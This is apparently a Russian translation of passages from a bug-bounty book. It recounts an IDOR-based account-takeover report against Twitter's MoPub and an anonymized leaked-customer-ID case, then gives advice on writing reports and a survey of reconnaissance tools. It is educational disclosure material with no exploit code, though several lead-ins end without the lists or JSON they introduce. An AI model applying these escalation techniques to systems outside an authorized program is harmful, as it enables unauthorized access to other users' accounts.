Twitter устранила уязвимость и попросила Рени подтвердить, что он больше не может обращаться к уязвимым сведениям. В этот момент Рени понял, что возвращаемый в ответе HTTP build_secret также использовался в URL https://app.mopub.com/complete/htsdk/?code=<BUILDSECRET>&amp;next=%2d. Этот URL аутентифицировал пользователя и перенаправлял его в связанную учётную запись Mopub, что позволило бы злоумышленнику войти в запись любого другого пользователя. Злоумышленник получил бы доступ к приложениям и организациям целевой учётной записи на платформе Twitter для мобильной разработки. Twitter ответила на комментарий Рени просьбой предоставить дополнительные сведения и шаги воспроизведения атаки, что он и сделал.

Всегда обязательно подтверждайте полное влияние своих ошибок, особенно IDOR. Здесь Рени обнаружил, что может получать секретные значения, обращаясь к запросам POST и используя один дорк Google. Сначала Рени сообщил, что Twitter раскрывает конфиденциальные сведения, но лишь позднее понял, как эти значения использовались на платформе. Если бы после отправки отчёта Рени не предоставил дополнительные сведения, Twitter, вероятно, не поняла бы, что уязвима для перехвата учётных записей, и могла бы заплатить ему меньше.

Сложность: высокая

URL: https://www.<acme>.com/customer_summary?customer_id=abeZMloJyUovapiXqrHyi0DshH

Источник: неприменимо

Дата сообщения: 20 февраля 2017 года

Выплаченное вознаграждение: 3000 долларов

Эта ошибка относится к закрытой программе HackerOne. Уязвимость остаётся нераскрытой, а все сведения в ней обезличены.

Компания, которую ради примера я назову ACME Corp, создала программное обеспечение, позволяющее администраторам создавать пользователей и назначать им разрешения. Начав проверять программу на уязвимости, я использовал учётную запись администратора для создания второго пользователя без разрешений. Войдя под второй учётной записью, я начал посещать URL, доступные администратору, но недоступные второму пользователю.

Под своей непривилегированной учётной записью я посетил страницу сведений о клиенте по URL www.<acme>.com/customization/customer_summary?customer_id=abeZMloJyUovapiXqrHyi0DshH. Этот URL возвращает сведения о клиенте на основании ID, переданного параметру customer_id. Я с удивлением увидел, что сведения о клиенте возвращались второй учётной записи.

Хотя customer_id выглядел непредсказуемым, он мог по ошибке раскрываться где-нибудь на сайте. Кроме того, пользователь с отозванным разрешением всё равно мог бы обращаться к сведениям о клиенте, если знал customer_id. С такими доводами я сообщил об ошибке. Оглядываясь назад, перед отправкой отчёта мне следовало поискать утечку customer_id.

Программа закрыла мой отчёт как информационный, поскольку customer_id был непредсказуем. Информационные отчёты не приносят вознаграждения и могут отрицательно влиять на вашу статистику HackerOne. Не отступая, я начал искать места утечки ID, проверяя все конечные точки, которые мог найти. Через два дня я обнаружил уязвимость.

Я начал обращаться к URL от имени пользователя, имевшего разрешение только на поиск заказов и не имевшего доступа к сведениям о клиентах или товарах. Но я обнаружил ответ поиска заказа со следующим JSON:

Обратите внимание: JSON содержит customer_id, совпадающий с ID в URL, отображавшем сведения о клиенте. Это означало, что ID клиента утекал, а непривилегированный пользователь мог находить и просматривать сведения о клиентах, которых у него не было разрешения видеть.

Помимо customer_id, я продолжил исследовать масштаб уязвимости. Я обнаружил другие ID, которые также можно было использовать в URL для возврата сведений, которые должны были оставаться недоступными. Мой второй отчёт был принят, и за него выплатили вознаграждение.

Найдя уязвимость, убедитесь, что понимаете, насколько широко злоумышленник может её использовать. Попытайтесь найти утёкшие идентификаторы или другие ID с похожей уязвимостью. Кроме того, не расстраивайтесь, если программа не согласна с вашим отчётом. Можно продолжить искать другие места применения уязвимости и отправить новый отчёт, если вы найдёте дополнительные сведения.

IDOR возникают, когда злоумышленник может обратиться или изменить ссылку на объект, который не должен быть ему доступен. IDOR бывают простыми: для их эксплуатации достаточно прибавлять или вычитать 1 из численно увеличиваемых целых. Для более сложных IDOR с UUID или случайными идентификаторами может потребоваться тщательно проверить платформу на утечки. Утечки можно искать в разных местах: в ответах JSON, содержимом HTML, через дорки Google и URL. В отчёте обязательно подробно опишите, как злоумышленник может использовать уязвимость. Например, вознаграждение за уязвимость, позволяющую обойти разрешения платформы, будет меньше, чем за ошибку, приводящую к полному перехвату учётной записи.

Перед сообщением об уязвимости обязательно просмотрите правила программы. Каждая компания, участвующая в платформе баг-баунти, предоставляет документ правил, где обычно перечислены исключённые виды уязвимостей и ресурсы внутри или вне области программы. Всегда читайте правила компании до начала хакинга, чтобы не тратить время впустую. Если вы ещё не прочитали правила программы, сделайте это сейчас и убедитесь, что не ищете известные проблемы или ошибки, о которых компания просит не сообщать.

Подтвердив, что об уязвимости можно сообщить, нужно написать отчёт. Если вы хотите, чтобы компания отнеслась к нему серьёзно, предоставьте следующие подробности:

Прочитав правила компании, подготовив черновик отчёта и добавив материалы демонстрации концепции, остановитесь на минуту и спросите себя, действительно ли сообщаемое является уязвимостью. Например, если вы сообщаете о CSRF, потому что не увидели токена в теле запроса HTTP, проверьте, не был ли параметр передан в заголовке.

Всякий раз, собираясь отправить ошибку, отступите на шаг и спросите себя, гордились бы вы публичным раскрытием отчёта.

Об этом легко забыть, но не у всех компаний есть ресурсы для немедленного ответа на отчёты или внедрения исправлений. Помните о точке зрения компании, когда пишете отчёты или последующие обращения.

Если вы отправили уязвимость компании, которая платит вознаграждение, уважайте её решение о сумме, но не бойтесь поговорить с компанией. На Quora Йоберт Абма, сооснователь HackerOne, написал следующее о разногласиях по вознаграждениям (quora.com):

Умение написать отличный отчёт и сообщить о находках - важный навык успешных хакеров баг-баунти. Читать правила программы необходимо, как и определять подробности для включения в отчёт. Найдя ошибку, жизненно важно повторно подтвердить находку, чтобы не отправить недействительный отчёт. Даже великие хакеры вроде Матиаса Карлссона сознательно стараются избегать ошибок.

Веб-прокси перехватывают ваш веб-трафик, чтобы можно было анализировать отправленные запросы и полученные ответы. Некоторые из этих инструментов доступны бесплатно, хотя профессиональные версии имеют дополнительные функции.

У веб-сайтов часто есть поддомены, которые трудно обнаружить вручную. Подбор поддоменов перебором может помочь выявить дополнительную поверхность атаки программы.

Определив поверхность атаки программы, следующим шагом перечислите файлы и каталоги. Это поможет найти скрытую функциональность, конфиденциальные файлы, учётные данные и прочее.

В некоторых случаях поверхность атаки будет слишком велика, чтобы проверить каждый её аспект. Когда нужно проверить длинный перечень веб-сайтов или поддоменов, можно использовать инструменты автоматического создания снимков. Они позволяют визуально исследовать веб-сайты, не посещая каждый.

Помимо поиска URL и поддоменов, нужно выяснить, какие порты доступны и какие приложения работают на сервере.

Найдя URI, поддомены и порты веб-сайтов для проверки, нужно больше узнать об используемых ими технологиях и других частях интернета, с которыми они связаны. В этом помогут следующие инструменты.

Инструменты хакинга позволяют автоматизировать не только обнаружение и перечисление, но и поиск уязвимостей.

Хотя большинство ошибок в книге были найдены через веб-браузеры, в некоторых случаях в рамках проверки потребуется анализировать мобильные приложения. Умение разбирать и анализировать компоненты приложений поможет понять их работу и возможные уязвимости.

Для Firefox существует несколько дополнений, которые можно использовать вместе с другими инструментами. Хотя здесь я рассмотрел только версии для Firefox, для других браузеров могут существовать эквиваленты.

В этой книге я показываю работу уязвимостей на примере настоящих отчётов об ошибках. Хотя после чтения книги у вас должно появиться практическое понимание способов поиска уязвимостей, никогда не прекращайте учиться. Можно обратиться к множеству интернет-руководств по охоте за ошибками, формальных курсов, практических упражнений и блогов, чтобы продолжать расширять знания и проверять навыки.

Хотя все веб-приложения рискуют содержать ошибки, легко сообщать об уязвимостях было возможно не всегда. Сейчас можно выбирать из множества платформ баг-баунти, соединяющих хакеров с компаниями, которым требуется проверка уязвимостей.

Ищете ли вы книгу или бесплатные материалы в интернете, новым и опытным хакерам доступно множество ресурсов.

Если вы предпочитаете более наглядные пошаговые руководства или советы непосредственно от других хакеров, часто можно найти видеозаписи о баг-баунти. Несколько видеоуроков посвящены охоте за ошибками, но также доступны доклады с конференций по баг-баунти, позволяющие изучить новые методы.

Ещё один полезный ресурс - блоги охотников за ошибками. Поскольку HackerOne - единственная платформа, раскрывающая отчёты непосредственно на своём веб-сайте, многие раскрытия публикуются в учётных записях охотников в социальных сетях. Также существует несколько хакеров, создающих руководства и перечни ресурсов специально для новичков.